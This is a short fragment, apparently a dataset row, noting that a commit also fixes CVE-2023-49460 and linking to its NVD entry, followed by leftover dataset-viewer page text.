Apparently also fixed with fd5b02aca3e29088bf0a1fc400bd661be4a6ed76. | https://nvd.nist.gov/vuln/detail/CVE-2023-49460 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.